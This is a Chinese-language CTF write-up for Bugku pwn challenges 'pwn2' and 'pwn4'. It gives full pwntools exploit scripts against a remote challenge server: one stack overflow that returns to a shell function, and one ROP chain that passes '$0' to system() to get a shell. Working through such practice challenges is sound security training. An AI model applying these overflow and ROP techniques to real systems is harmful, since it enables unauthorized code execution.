bugku pwn

bugku pwn

pwn2

  • checksec发现什么保护都没有,拖进ida看看.
    main函数
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
    char s; // [rsp+0h] [rbp-30h]

    memset(&s, 0, 0x30uLL);
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);
    puts("say something?");
    read(0, &s, 0x100uLL);
    puts("oh,that's so boring!");
    return 0;
    }

get_shell_函数:

1
2
3
4
5
6
int get_shell_()
{
puts("tql~tql~tql~tql~tql~tql~tql");
puts("this is your flag!");
return system("cat flag");
}

应该是让返回地址覆盖成getshell地址,
gdb看一下偏移

1
2
3
4
5
6
7
8
9
10
gdb
file pwn2
break read
start
ni
continue
pattern create 100
step
pattern offset bAA1
print get_shell_

rbp前四位为bAA1,算一下偏移
到rbp偏移为48,向上8字节是父函数rbp,所以偏移56覆盖到返回地址,get_shell_地址为
exp如下:

1
2
3
4
5
6
from pwn import *
p = remote('114.116.54.89','10003')
payload='a'*48+'a'*8+p64(0x400751)
p.recvline()
p.sendline(payload)
p.interactive()

pwn4

  • checksec跑一下,并没有什么壳或保护.
    ida64位打开一下,虽然有一个read函数,可以输入30字节,10字节的缓冲区可以制造溢出.但是没有系统函数可以调用.
    shift+f12查看有没有可疑字符串,然后在字符串上按x查看引用他的地方,找到了一个system函数.
    1
    2
    3
    4
    int sub_400751()
    {
    return system("ok~you find me,but you can't get my shell'");
    }

但是system函数里面的字符串并不是我们想要的'/bin/sh',尝试用ROPgadget去搜索,命令为ROPgadget --binary pwn4 --string '/bin/sh',搜索无果。。。再回到IDA中检测字符串

1
.data:0000000000601100	00000022	C	4985y9y()DY)*YFG8yas08d976s08d7$0
  • 发现了一个$0$0在linux中为为shell或shell脚本的名称。
    system()会调用fork()产生子进程,由子进程来调用/bin/sh -c string来执行参数string字符串所代表的命令,此命令执行完后随即返回原调用的进程。所以如果将$0作为system的参数,能达到传入'/bin/sh'一样的效果。

  • 有了system函数和$0作为参数,就可以进行溢出了。

  • 还有要注意的就是64位程序和32位程序的传参方式不一样,32位的函数调用使用栈传参,64位的函数调用使用寄存器传参,分别用rdirsirdxrcxr8r9来传递参数(参数个数小于7的时候)。

我们利用ROPgadget工具进行查找,得到pop rdi ; ret$0的地址,system的地址直接在IDA中查看.

1
2
ROPgadget --binary pwn4 --only 'pop|ret'
ROPgadget --binary pwn4 --string '\$0'

首先先填充缓冲区,大小为0x10,然后覆盖rbp,8个字节,传入pop rdi;ret的地址和$0,将栈中$0的地址弹出,存入rdi作为参数,在传入system地址进行调用。
下面是脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.log_level = 'debug'

conn = remote('114.116.54.89', 10004)
# conn = process('./pwn4')

pop_rdi = 0x00000000004007d3
bin_sh = 0x000000000060111f
system = 0x000000000040075A

payload = 'A' * (0x10+8) + p64(pop_rdi) + p64(bin_sh) + p64(system)

conn.recvuntil('Come on,try to pwn me')

conn.sendline(payload)

conn.interactive()
0%